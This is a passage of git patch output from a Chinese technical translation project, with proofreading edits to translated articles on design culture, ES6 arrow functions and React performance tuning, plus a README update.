@@ -39,7 +39,7 @@
 
 当你接受设计决策来自于你团队之外而且不带有「设计」头衔的人的现实时，你就会向你的其他同事靠拢。因为他们不仅是你的同事，也构成了你的设计团队。
 
-苹果（Apple）和爱彼迎（Airbnb）那些能带来顶尖设计的公司都深谙此道。爱彼迎（Airbnb）的设计副总裁 Alex Schleifer [对 ** 《连线》杂志 ** 提及](https://www.wired.com/2015/01/airbnbs-new-head-design-believes-design-led-companies-dont-work/)他们的公司其实**并不是**设计驱动的。
+苹果（Apple）和爱彼迎（Airbnb）那些能带来顶尖设计的公司都深谙此道。爱彼迎（Airbnb）的设计副总裁 Alex Schleifer [对 **《连线》杂志** 提及](https://www.wired.com/2015/01/airbnbs-new-head-design-believes-design-led-companies-dont-work/)他们的公司其实**并不是**设计驱动的。
 
 >**Airbnb 的解决方案其实淡化了设计师的概念。重点不是去创造一个「设计驱动的文化」，因为这就相当于对其他人说他们的看法是不重要的。这会把整个团体置于必须去迎合某个特权观点的不利位置。相反，Schleifer 则希望更多的人能够去细细体会那些只存在于设计师领域的 —— 「用户」观点。**
 
@@ -77,7 +77,7 @@ Dan Saffer 和 ThomasGläser 的 「用户体验设计学科」
 
 行政人员每天作出影响他的顾客的决定。「在这里」却没有与设计师接触，她需要承担一部分责任。但设计团队才是应该承担这个责任的——他们错过了与同事接触并共同完成业务中最重要难题的机会。
 
-感谢 [Jared M. Spool](https://medium.com/@jmspool) 拟写优秀的文章, [John Zeratsky](https://medium.com/@jazer) 和 [Michael Margolis](https://medium.com/@mmargolis) 参与编辑和建议, 以及 [Alex Schleifer](https://medium.com/@alexoid) 为优秀的 ** 《连线》 ** 文章（做的努力）。
+感谢 [Jared M. Spool](https://medium.com/@jmspool) 拟写优秀的文章, [John Zeratsky](https://medium.com/@jazer) 和 [Michael Margolis](https://medium.com/@mmargolis) 参与编辑和建议, 以及 [Alex Schleifer](https://medium.com/@alexoid) 为优秀的 **《连线》** 文章（做的努力）。
 
 ---
 

From e6003fed49fcfe5e558c63153b8c6e038f0d9088 Mon Sep 17 00:00:00 2001
From: ylq <ylq@ylqdeMacBook-Pro.local>
Date: Fri, 12 May 2017 17:10:26 +0800
Subject: [PATCH 437/638] =?UTF-8?q?=E5=B8=8C=E6=9C=9B=E6=98=AF=E6=9C=AC?=
 =?UTF-8?q?=E6=96=87=E6=9C=80=E5=90=8E=E4=B8=80=E6=AC=A1=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/everyone-is-a-designer-get-over-it.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/everyone-is-a-designer-get-over-it.md b/TODO/everyone-is-a-designer-get-over-it.md
index 5c2eae6156f..1e332977fd9 100644
--- a/TODO/everyone-is-a-designer-get-over-it.md
+++ b/TODO/everyone-is-a-designer-get-over-it.md
@@ -11,13 +11,13 @@
 
 # 人人都是设计师。我们可以的。 #
 
-最近，[Jared Spool](https://www.uie.com/about/) 的一篇关于 Netflix 的性能工程师竟然才是是真正的**设计师**的[文章](https://articles.uie.com/signup/)引起了我的注意 。这是一个挑衅的想法，但也有一定的道理。他的论点是你团队中的每个人（包括性能工程师）都参与到产品设计，而不仅仅是带有「设计」头衔的人。
+最近，[Jared Spool](https://www.uie.com/about/) 的一篇关于 Netflix 的性能工程师竟然才是真正的**设计师**的[文章](https://articles.uie.com/signup/)引起了我的注意 。这是一个挑衅的想法，但也有一定的道理。他的论点是你团队中的每个人（包括性能工程师）都参与到产品设计，而不仅仅是带有「设计」头衔的人。
 
 ![](https://cdn-images-1.medium.com/max/800/1*qLoczEHONP188zelJbn-6w@2x.png)
 
 从一些反应中，你可能会认为 Jared 绑架了一些人的孩子用来献祭。Jared 到底写了什么呢？
 
-> 这个团队的成员都是性能工程师。他们架设，开发，维护一个复杂系统的性能。这占据了他们所有的时间。而且还远不止如此，在系统工程方面，几乎没有比这更技术性的工作。
+> 这个团队的成员都是性能工程师。他们架设、开发、维护一个复杂系统的性能。这占据了他们所有的时间。而且还远不止如此，在系统工程方面，几乎没有比这更技术性的工作。
 
 > 然而，在 Netflix 用户的视频流停止并出现旋转动画的那一刻，表明播放器正在等待更多的数据，这些工程师（的身份）发生了戏剧性的转变，**他们变成了用户体验设计师。**
 

From 2cb751d1522fb4c1bf3ed6036d9bba7ab0250714 Mon Sep 17 00:00:00 2001
From: Changkun Ou <hi@changkun.us>
Date: Fri, 12 May 2017 11:45:11 +0200
Subject: [PATCH 438/638] =?UTF-8?q?(fix):=20=E4=BF=AE=E5=A4=8D=E4=BA=86?=
 =?UTF-8?q?=E6=96=9C=E4=BD=93=E6=8E=92=E7=89=88=E7=9A=84=E9=97=AE=E9=A2=98?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/how-to-pretend-youre-a-great-designer.md | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/TODO/how-to-pretend-youre-a-great-designer.md b/TODO/how-to-pretend-youre-a-great-designer.md
index f731789b699..515c985f94a 100644
--- a/TODO/how-to-pretend-youre-a-great-designer.md
+++ b/TODO/how-to-pretend-youre-a-great-designer.md
@@ -16,7 +16,7 @@
 
 不知道如何解释你的过度使用动画、巧妙的抄袭，或者通用**可爱**的图案吗？只需要说它们通常伴随着「喜悦」就够了！谈谈你是如何理解用户的心理的 —— 如何打造一个人们会喜欢的体验。没有人关心你的方案是否功能健全、是否成本高昂，或者是否有数据支撑你的直觉。提醒所有人，你正在与用户建立持久的感情联系。
 
-***装腔技巧:*** *向所有人展示马斯洛需求层次理论图，并指出最上层的「自我实现」是多么高层次的追求。*
+**_装腔技巧_**: **向所有人展示马斯洛需求层次理论图，并指出最上层的「自我实现」是多么高层次的追求。**
 
 
 ![](https://cdn-images-1.medium.com/max/1000/1*U0hzgnxBdy6UWp-9mJsIOQ.gif)
@@ -65,7 +65,7 @@ Claude 知道如何制作一个饼状图。
 
 假如有人要求查看你的方法或来源或想要查看原始数据，只需告诉他们你们的对话应该结束了，然后在这个月剩下的时间里躲避他们就好。
 
-***装腔技巧:*** *如果你有能力，做一个假的幻灯片，让大家接受你的结论。 比如，「我们的登录页的跳出率与 Pokemon Go 的下载量相关，因此我们应该将增强现实添加到我们的页面」。*
+**_装腔技巧_:** **如果你有能力，做一个假的幻灯片，让大家接受你的结论。 比如，「我们的登录页的跳出率与 Pokemon Go 的下载量相关，因此我们应该将增强现实添加到我们的页面」。**
 
 ![](https://cdn-images-1.medium.com/max/1000/1*mgeKX-DlW-obHhFUGBB6xA.gif)
 
@@ -75,7 +75,7 @@ Fran 在沉默中看着她的工作。
 
 没有什么比满墙贴满他人的作品更能给路人留下深刻印象的了。打印其他产品的截屏，这叫「竞品分析」；把所有的 Pinterest 上有才华的设计都放上去，这叫「灵感来源」；把所有你探索过的糟糕的迭代过程做成拼图放在一起，这叫「想法形成」。始终追求数量，而不是质量。不管是有意义还是没意义的，钉上在墙后都是有意义的。重要的是要让人们相信你有一个有创造力且忙碌的头脑。
 
-**装腔技巧:** *默默地盯着墙看几个小时，你的同事会认为你在沉思。如果你**[在你的眼皮上画上眼睛](https://www.youtube.com/watch?v=U6qBnykH0DU)，还能打会盹儿。*
+**_装腔技巧_:** **默默地盯着墙看几个小时，你的同事会认为你在沉思。如果你 [在你的眼皮上画上眼睛](https://www.youtube.com/watch?v=U6qBnykH0DU) ，还能打会盹儿。**
 
 ![](https://cdn-images-1.medium.com/max/1000/1*gB-SyYrl3WXBYDW2Up7lWQ.gif)
 
@@ -87,7 +87,7 @@ Petunia 马上就要成为一个伟大的设计师了!
 
 你可以使用双重 ▲▲ 甚至三重 ▲▲▲ 三角形图来打动你的同事。这不仅会让每个人都同意你偷换的概念，还会让他们觉得你你具有创造性思维，并用简单的方式解释复杂的想法。
 
-***装腔技巧:*** *总是将「价值」写在图标相交的区域里！*
+**_装腔技巧_:** **总是将「价值」写在图标相交的区域里！**
 
 ![](https://cdn-images-1.medium.com/max/1000/1*VImvvTlomv4aX8E_UbUlUQ.gif)
 

From eee8f0b6c0f0f58b4df62ce418e602845d12dd1d Mon Sep 17 00:00:00 2001
From: lsvih <lsvih@qq.com>
Date: Sat, 13 May 2017 07:59:07 +0800
Subject: [PATCH 439/638] Fixed a typo error.
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

更加简介 => 更加简洁
---
 ...s-is-holding-you-back-its-time-to-embrace-arrow-functions.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md b/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md
index 4cad1e48087..2eb30522bf4 100644
--- a/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md
+++ b/TODO/familiarity-bias-is-holding-you-back-its-time-to-embrace-arrow-functions.md
@@ -271,7 +271,7 @@ ES5 版本中增加的额外的代码其实都是语法干扰。这些代码对
 
 柯里化箭头函数还能**减少错误的藏身之处**，因为它能让 bug 隐藏的部分更少。我猜想，在传统函数表达式中一定隐藏了许多的 bug，一旦你升级使用箭头函数就能找到并排除这些 bug。
 
-我希望你的团队也能支持、学习与应用 ES6 的更加简介的代码风格，提高工作效率。
+我希望你的团队也能支持、学习与应用 ES6 的更加简洁的代码风格，提高工作效率。
 
 有时，在代码中详细地进行描述是正确的行为，但通常来说，代码越少越好。如果更少的代码能够实现同样的东西，能够传达更多的信息，不用丢弃任何信息量，那么它**明显**更加优越。认知这些不同点的关键就是看它们表达的信息。如果加上的代码没有更多的意义，那么这种代码就不应该存在。这个道理很简单，就和自然语言的风格规范一样（不说废话）。将这种表达风格规范应用到代码中。拥抱它，你将能写出更好的代码。
 

From 91f79c438456d1e578fa0477fc21bd9f339d2619 Mon Sep 17 00:00:00 2001
From: ZhangFe <zhangzhe0214@gmail.com>
Date: Sat, 13 May 2017 12:12:43 +0800
Subject: [PATCH 440/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=E4=B8=80=E6=A0=A1?=
 =?UTF-8?q?=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/react-at-light-speed.md | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/TODO/react-at-light-speed.md b/TODO/react-at-light-speed.md
index bc8be2f88ae..c91d38ee130 100644
--- a/TODO/react-at-light-speed.md
+++ b/TODO/react-at-light-speed.md
@@ -10,9 +10,9 @@
 
 ![](https://cdn-images-1.medium.com/max/1000/1*SJzLm3SW2IegLw0GzlaG-w.jpeg)
 
-过去一年左右，我们 [Vixlet](http://www.vixlet.com) 的 web 团队已经开始了一个令人兴奋的旅程：将我们的整个 web 应用迁移到 React + Redux 架构，对于整个团队来说，这是一个越来越大的机会，并且在整个过程中，我们遇到了一些挑战。
+在过去一年多，我们 [Vixlet](http://www.vixlet.com) 的 web 团队已经着手于一个激动人心的项目：将我们的整个 web 应用迁移到 React + Redux 架构，对于整个团队来说，这是不断增长的机遇，并且在整个过程中，我们遇到了一些挑战。
 
-因为我们的 web-app 可能有非常大的 feed 视图，包括成百上千的媒体、文本、视频、链接元素，我们花了相当多的时间寻找能充分利用 React 的性能的方法。在这里，我们将分享我们这一路学到的一些经验教训。
+因为我们的 web-app 可能有非常大的 feed 视图，包括成百上千的媒体、文本、视频、链接元素，我们花了相当多的时间寻找能充分利用 React 性能的方法。在这里，我们将分享我们这一路学到的一些经验教训。
 
 **声明**：**下面讲的做法和方法更适用于我们具体应用的性能需求。然而，像所有的开发者建议的那样，最重要的是要考虑到你的应用程序和团队的需求。React 是一个开箱即用的框架，所以你可能不需要像我们这样对性能做微调。话虽如此，我们还是希望你能在这篇文章里找到一些有用的信息。**
 
@@ -24,13 +24,13 @@
 
 #### render() 函数 ####
 
-一般来说，要尽可能少的在 render 函数中做操作。如果非要做一些复杂操作或者计算，也许你可以考虑使用一个 [memoized](https://en.wikipedia.org/wiki/Memoization) 函数以便于缓存那些重复的结果。可以看看 [Lodash.memoize](https://lodash.com/docs#memoize)，这是一个开箱即用的记忆函数。
+一般来说，要尽可能少地在 render 函数中做操作。如果非要做一些复杂操作或者计算，也许你可以考虑使用一个 [memoized](https://en.wikipedia.org/wiki/Memoization) 函数以便于缓存那些重复的结果。可以看看 [Lodash.memoize](https://lodash.com/docs#memoize)，这是一个开箱即用的记忆函数。
 
 反过来讲，避免在组件的 state 上存储一些容易计算的值也很重要。举个例子，如果 props 同时包含 `firstName` 和 `lastName`，没必要在 state 上存一个 `fullName`，因为它可以很容易通过提供的 props 来获取。如果一个值可以通过简单的字符串拼接或基本的算数运算从 props 派生出来，那么没理由将这些值包含在组件的 state 上。
 
 #### Prop 和 Reconciliation ####
 
-重要的是要记住，只要 props（或 state）的值不等于之前的值，React 就会触发重新渲染。如果 props 或者 state 包含一个对象或者数组，嵌套值中的任何改变也会触发重新渲染。考虑到这一点，你需要考虑在每次渲染的生命周期中，创建一个新的 props 或者 state 都可能无意中导致了性能下降。
+重要的是要记住，只要 props（或 state）的值不等于之前的值，React 就会触发重新渲染。如果 props 或者 state 包含一个对象或者数组，嵌套值中的任何改变也会触发重新渲染。考虑到这一点，你需要注意在每次渲染的生命周期中，创建一个新的 props 或者 state 都可能无意中导致了性能下降。
 PS:译者对这段保留意见，对象或者数组只要引用不变，是不会触发rerender的，是我翻译有误还是原文的错误？
 
 **例子:** **函数绑定的问题**
@@ -89,7 +89,7 @@ render() {
 }
 ```
 
-**例子** *: 注意兜底值字面量Be careful of literals in fallback values*
+**例子** **: 注意兜底值字面量**
 
 ```
 /*
@@ -156,9 +156,9 @@ React 从 v15 开始会包含一个 PureComponent 类，它可以被用来构建
 
 #### 组件性能分析 (在 Chrome 里) ####
 
-在新版本的 Chrome 里，timeline 工具里有一个额外的内置功能可以显示哪些 React 组件正在渲染以及他们花费的时间。要启用此功能，将 `？react_perf` 作为要测试的 URL 的查询字符串。React 渲染时间轴数据将位于 User Timing 部分。
+在新版本的 Chrome 里，timeline 工具里有一个额外的内置功能可以显示哪些 React 组件正在渲染以及他们花费的时间。要启用此功能，将 `?react_perf` 作为要测试的 URL 的查询字符串。React 渲染时间轴数据将位于 User Timing 部分。
 
-更多信息: [Profiling Components with Chrome Timeline](https://facebook.github.io/react/docs/optimizing-performance.html#profiling-components-with-chrome-timeline) 官方文档。
+更多相关信息，请查阅官方文档：[Profiling Components with Chrome Timeline](https://facebook.github.io/react/docs/optimizing-performance.html#profiling-components-with-chrome-timeline) 。
 
 #### 有用的工具: [why-did-you-update](https://www.npmjs.com/package/why-did-you-update) ####
 
@@ -247,7 +247,7 @@ stopLoop() {
 
 Lodash 有 [_.debounce](https://lodash.com/docs/#debounce) 方法。在 NPM 上还有一个独立的 [debounce](https://www.npmjs.com/package/debounce) 包.
 
-> ”但是我真的需要立即反馈 scroll/resize 或者别的事件”
+> “但是我真的需要立即反馈 scroll/resize 或者别的事件”
 
 我发现一种可以处理这些事件并且以高性能的方式进行响应的方法，那就是在第一次事件触发时启动 `requestAnimationFrame()` 循环。然后可以使用 `[debounce()](https://lodash.com/docs#debounce)` 方法并且将 `trailing` 这个配置项设为 `true`  (**这意味着该功能只在频繁触发的事件流结束后触发**) 来取消对值的监听，看看下面这个例子。
 

From 0d6ccf2ea3b2553198d1db925f795e49debbe459 Mon Sep 17 00:00:00 2001
From: ZhangFe <zhangzhe0214@gmail.com>
Date: Sat, 13 May 2017 12:29:22 +0800
Subject: [PATCH 441/638] =?UTF-8?q?=E6=A0=B9=E6=8D=AE=E4=BA=8C=E6=A0=A1?=
 =?UTF-8?q?=E4=BF=AE=E6=94=B9?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/react-at-light-speed.md | 32 ++++++++++++++++----------------
 1 file changed, 16 insertions(+), 16 deletions(-)

diff --git a/TODO/react-at-light-speed.md b/TODO/react-at-light-speed.md
index c91d38ee130..a7a8c0ed513 100644
--- a/TODO/react-at-light-speed.md
+++ b/TODO/react-at-light-speed.md
@@ -6,15 +6,15 @@
 
 # 光速 React #
 
-## Vixlet优化性能的经验教训 ##
+## Vixlet 团队优化性能的经验教训 ##
 
 ![](https://cdn-images-1.medium.com/max/1000/1*SJzLm3SW2IegLw0GzlaG-w.jpeg)
 
-在过去一年多，我们 [Vixlet](http://www.vixlet.com) 的 web 团队已经着手于一个激动人心的项目：将我们的整个 web 应用迁移到 React + Redux 架构，对于整个团队来说，这是不断增长的机遇，并且在整个过程中，我们遇到了一些挑战。
+在过去一年多，我们 [Vixlet](http://www.vixlet.com) 的 web 团队已经着手于一个激动人心的项目：将我们的整个 web 应用迁移到 React + Redux 架构。对于整个团队来说，这是不断增长的机遇，而在迁移过程中，我们一路风雨兼程。
 
 因为我们的 web-app 可能有非常大的 feed 视图，包括成百上千的媒体、文本、视频、链接元素，我们花了相当多的时间寻找能充分利用 React 性能的方法。在这里，我们将分享我们这一路学到的一些经验教训。
 
-**声明**：**下面讲的做法和方法更适用于我们具体应用的性能需求。然而，像所有的开发者建议的那样，最重要的是要考虑到你的应用程序和团队的需求。React 是一个开箱即用的框架，所以你可能不需要像我们这样对性能做微调。话虽如此，我们还是希望你能在这篇文章里找到一些有用的信息。**
+**声明**：**下面讲的做法和方法更适用于我们具体应用的性能需求。然而，像所有的开发者建议的那样，最重要的是要考虑到你的应用程序和团队的实际需求。React 是一个开箱即用的框架，所以你可能不需要像我们一样细致地优化性能。话虽如此，我们还是希望你能在这篇文章里找到一些有用的信息。**
 
 ### 基本原理 ###
 
@@ -71,7 +71,7 @@ render() {
 
 ```
 /*
-对象或者数组字面量在功能上来看是调用了 Object.create() 和 new Array()。这意味如果给 prop 传递了对象字面量或者数组字面量。每次render 时 React 会将他们作为一个新的值。这在处理 Radium 或者行内样式时是有问题的。
+对象或者数组字面量在功能上来看是调用了 Object.create() 和 new Array()。这意味如果给 prop 传递了对象字面量或者数组字面量。每次render 时 React 会将他们作为一个新的值。这在处理 Radium 或者行内样式时通常是有问题的。
 */
 
 /* Bad */
@@ -130,7 +130,7 @@ render() {
 
 #### 组件方法 ####
 
-由于组件方法是为组件的每个实例创建的，如果可能的话，使用 helper/util 模块的纯函数或者 [静态类方法](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes)。在一个渲染大量组件的应用中会有明显的区别。
+由于组件方法是为组件的每个实例创建的，如果可能的话，使用 helper/util 模块的纯函数或者[静态类方法](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes)。尤其在渲染大量组件的应用中会有明显的区别。
 
 ### 进阶 ###
 
@@ -140,7 +140,7 @@ render() {
 
 #### shouldComponentUpdate() ####
 
-React 有一个一个生命周期函数 [shouldComponentUpdate()](https://facebook.github.io/react/docs/react-component.html#shouldcomponentupdate)。这个方法可以根据当前的和下一次的 props 和 state 来通知这个 React 组件是否应该被重新渲染。
+React 有一个生命周期函数 [shouldComponentUpdate()](https://facebook.github.io/react/docs/react-component.html#shouldcomponentupdate)。这个方法可以根据当前的和下一次的 props 和 state 来通知这个 React 组件是否应该被重新渲染。
 
 然而使用这个方法有一个问题，开发者必须考虑到需要触发重新渲染的每一种情况。这会导致逻辑复杂，一般来说，会非常痛苦。如果非常需要，你可以使用一个自定义的  `shouldComponentUpdate()` 方法，但是很多情况下有更好的选择。
 
@@ -152,7 +152,7 @@ React 从 v15 开始会包含一个 PureComponent 类，它可以被用来构建
 
 在大多数情况下，`React.PureComponent` 是比 `React.Component` 更好的选择。在创建新组件时，首先尝试将其构建为纯组件，只有组件的功能需要时才使用 `React.Component`。
 
-更多信息: [React.PureComponent](https://facebook.github.io/react/docs/react-api.html#react.purecomponent) 官方文档。
+更多信息，请查阅相关文档 [React.PureComponent](https://facebook.github.io/react/docs/react-api.html#react.purecomponent)。
 
 #### 组件性能分析 (在 Chrome 里) ####
 
@@ -162,9 +162,9 @@ React 从 v15 开始会包含一个 PureComponent 类，它可以被用来构建
 
 #### 有用的工具: [why-did-you-update](https://www.npmjs.com/package/why-did-you-update) ####
 
-这是一个很棒的 NPM 包，他们给 React 添加补丁，当一个组件触发了不必要的重新渲染时，
+这是一个很棒的 NPM 包，他们给 React 添加补丁，当一个组件触发了不必要的重新渲染时，它会在控制台输出一个 console 提示。
 
-**注意**: 这个模块在初始化时可以可以通过一个过滤器匹配特定的想要优化的组件，否则你的命令行可能会被垃圾信息填满，并且可能你的浏览器会挂起或者崩溃，通过 [why-did-you-update 文档](https://www.npmjs.com/package/why-did-you-update)获取更多详细信息。
+**注意**: 这个模块在初始化时可以可以通过一个过滤器匹配特定的想要优化的组件，否则你的命令行可能会被垃圾信息填满，并且可能你的浏览器会挂起或者崩溃，查阅 [why-did-you-update 文档](https://www.npmjs.com/package/why-did-you-update)获取更多详细信息。
 
 ### 常见性能陷阱
 
@@ -174,11 +174,11 @@ React 从 v15 开始会包含一个 PureComponent 类，它可以被用来构建
 
 在 React 组件中使用 `setTimeout()` 或者  `setInterval()` 要十分小心。几乎总是有更好的选择，例如 'resize' 和 'scroll' 事件（注意：有关注意事项请参阅下一节）。
 
-如果你需要使用 `setTimeout()` 和 `setInterval()`，你必须 **遵守下面两条建议**
+如果你需要使用 `setTimeout()` 和 `setInterval()`，你必须**遵守下面两条建议**
 
-> 不要设置过短的时间。
+> 不要设置过短的时间间隔。
 
-当心那些小于 100ms 的定时器，他们很可能是没意义的。如果确实需要一个更短的时间，可以使用 [window.requestAnimationFrame()](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame)。
+当心那些小于 100 ms 的定时器，他们很可能是没意义的。如果确实需要一个更短的时间，可以使用 [window.requestAnimationFrame()](https://developer.mozilla.org/en-US/docs/Web/API/window/requestAnimationFrame)。
 
 > 保留对这些函数的引用，并且在 unmount 时取消或者销毁他们。
 
@@ -188,7 +188,7 @@ React 从 v15 开始会包含一个 PureComponent 类，它可以被用来构建
 
 解决这个问题最简答的方法是使用 [react-timeout](https://www.npmjs.com/package/react-timeout) 这个 NPM 包，它提供了一个可以自动处理上述内容的高阶组件。它将 setTimeout/setInterval 等功能添加到包装组建的 props 上。(**特别感谢 Vixlet 的开发人员 [*Carl Pillot*](https://twitter.com/@carlpillot) 提供这个方法**)
 
-如果你不想引入这个依赖，并且希望用自己的解决方法解决此问题，你可以使用以下的方法：
+如果你不想引入这个依赖，并且希望自行解决此问题，你可以使用以下的方法：
 
 ```
 // 如何正确取消 timeouts/intervals
@@ -270,7 +270,7 @@ class ScrollMonitor extends React.Component {
     window.removeEventListener( 'scroll', this.handleScrollStart );
     window.removeEventListener( 'scroll', this.handleScrollEnd );
     
-    //确保组件销毁后循环不会继续执行
+    //确保组件销毁后结束循环
     this.stopWatching();
   }
 
@@ -310,9 +310,9 @@ MDN 文档: [Worker API](https://developer.mozilla.org/en-US/docs/Web/API/Worker
 
 ### 结语 ###
 
-我们希望您觉得上述建议是有用且有效的。如果没有 Vixlet 团队的伟大工作和研究，上述的提示和编程技巧是不可能产出的。他们真的是我曾经合作过的最棒的人之一。
+我们希望上述建议对您能有所帮助。如果没有 Vixlet 团队的伟大工作和研究，上述的提示和编程技巧是不可能产出的。他们真的是我曾经合作过的最棒的团队之一。
 
-在你的 React 的征途中保持学习和练习，力量与你同在！
+在你的 React 的征途中保持学习和练习，愿原力与你同在！
 
 ---
 

From e173f8f410158bfc366eb97f944dbd00fd538378 Mon Sep 17 00:00:00 2001
From: ZhangFe <zhangzhe0214@gmail.com>
Date: Sat, 13 May 2017 12:31:16 +0800
Subject: [PATCH 442/638] =?UTF-8?q?=E6=B7=BB=E5=8A=A0=E8=AF=91=E8=80=85?=
 =?UTF-8?q?=EF=BC=8C=E6=A0=A1=E5=AF=B9=E8=80=85?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/react-at-light-speed.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/react-at-light-speed.md b/TODO/react-at-light-speed.md
index a7a8c0ed513..a2c80930884 100644
--- a/TODO/react-at-light-speed.md
+++ b/TODO/react-at-light-speed.md
@@ -1,8 +1,8 @@
 > * 原文地址：[React at Light Speed](https://blog.vixlet.com/react-at-light-speed-78cd172a6411)
 > * 原文作者：[Jacob Beltran](https://blog.vixlet.com/@jacob_beltran)
 > * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)
-> * 译者：
-> * 校对者：
+> * 译者：[ZhangFe](https://github.com/ZhangFe)
+> * 校对者：[yzgyyang](https://github.com/yzgyyang),[xunge0613](https://github.com/xunge0613)
 
 # 光速 React #
 

From f3ca61936c868766936f41b5baa38258b36c16cc Mon Sep 17 00:00:00 2001
From: ZhangFe <zhangzhe0214@gmail.com>
Date: Sat, 13 May 2017 14:32:05 +0800
Subject: [PATCH 443/638] =?UTF-8?q?=E8=B0=83=E6=95=B4=E6=8B=AC=E5=8F=B7?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 TODO/react-at-light-speed.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/TODO/react-at-light-speed.md b/TODO/react-at-light-speed.md
index a2c80930884..817a14ffe1d 100644
--- a/TODO/react-at-light-speed.md
+++ b/TODO/react-at-light-speed.md
@@ -154,7 +154,7 @@ React 从 v15 开始会包含一个 PureComponent 类，它可以被用来构建
 
 更多信息，请查阅相关文档 [React.PureComponent](https://facebook.github.io/react/docs/react-api.html#react.purecomponent)。
 
-#### 组件性能分析 (在 Chrome 里) ####
+#### 组件性能分析（在 Chrome 里）####
 
 在新版本的 Chrome 里，timeline 工具里有一个额外的内置功能可以显示哪些 React 组件正在渲染以及他们花费的时间。要启用此功能，将 `?react_perf` 作为要测试的 URL 的查询字符串。React 渲染时间轴数据将位于 User Timing 部分。
 
@@ -249,7 +249,7 @@ Lodash 有 [_.debounce](https://lodash.com/docs/#debounce) 方法。在 NPM 上
 
 > “但是我真的需要立即反馈 scroll/resize 或者别的事件”
 
-我发现一种可以处理这些事件并且以高性能的方式进行响应的方法，那就是在第一次事件触发时启动 `requestAnimationFrame()` 循环。然后可以使用 `[debounce()](https://lodash.com/docs#debounce)` 方法并且将 `trailing` 这个配置项设为 `true`  (**这意味着该功能只在频繁触发的事件流结束后触发**) 来取消对值的监听，看看下面这个例子。
+我发现一种可以处理这些事件并且以高性能的方式进行响应的方法，那就是在第一次事件触发时启动 `requestAnimationFrame()` 循环。然后可以使用 `[debounce()](https://lodash.com/docs#debounce)` 方法并且将 `trailing` 这个配置项设为 `true`（**这意味着该功能只在频繁触发的事件流结束后触发**）来取消对值的监听，看看下面这个例子。
 
 ```
 class ScrollMonitor extends React.Component {

From 209498e789f6694d589a3ef12255519310d1cd38 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?=E6=A0=B9=E5=8F=B7=E4=B8=89?= <sqrtthree@foxmail.com>
Date: Sat, 13 May 2017 21:37:21 +0800
Subject: [PATCH 444/638] Update README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index 98e57343ead..edebf82d83c 100644
--- a/README.md
+++ b/README.md
@@ -5,7 +5,7 @@
 
 [掘金翻译计划](https://juejin.im/tag/%E6%8E%98%E9%87%91%E7%BF%BB%E8%AF%91%E8%AE%A1%E5%88%92) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](#android)、[iOS](#ios)、[React](#react)、[前端](#前端)、[后端](#后端)、[产品](#产品)、[设计](#设计) 等领域，读者为热爱新技术的新锐开发者。
 
-掘金翻译计划目前翻译完成 [489](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
+掘金翻译计划目前翻译完成 [490](#近期文章列表) 篇文章，共有 [300](https://github.com/xitu/gold-miner/wiki/%E8%AF%91%E8%80%85%E7%A7%AF%E5%88%86%E8%A1%A8) 余名译者贡献翻译。
 
 # 官方指南：
 
@@ -55,10 +55,10 @@
 
 ## 后端
 
+* [nginScript 入门](https://github.com/xitu/gold-miner/blob/master/TODO/introduction-nginscript.md?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([1992chenlu](https://github.com/1992chenlu) 翻译)
 * [我是如何找回 Reddit 密码的](https://juejin.im/entry/590aee94da2f60005328fb2d/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([cdpath](https://github.com/cdpath) 翻译)
 * [Node.js 之战: 如何在生产环境中调试错误](https://juejin.im/post/59035d3644d904006919086b/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([mnikn](https://github.com/mnikn) 翻译)
 * [我经常听到的 GraphQL 到底是什么？](https://juejin.im/post/58fd6d121b69e600589ec740/?utm_source=gold-miner&utm_medium=readme&utm_campaign=github) ([lsvih](https://github.com/lsvih) 翻译)
-* [系统设计入门](https://github.com/xitu/system-design-primer/blob/master/README-zh-Hans.md) ([XatMassacrE](https://github.com/XatMassacrE) [L9m](https://github.com/L9m) [Airmacho](https://github.com/Airmacho) [xiaoyusilen](https://github.com/xiaoyusilen) [jifaxu](https://github.com/jifaxu) 翻译)
 * [所有后端译文>>](https://github.com/xitu/gold-miner/blob/master/backend.md)
 
 ## 教程

From ccc18b3866dca03e57848913dc25ce31715c00f3 Mon Sep 17 00:00:00 2001
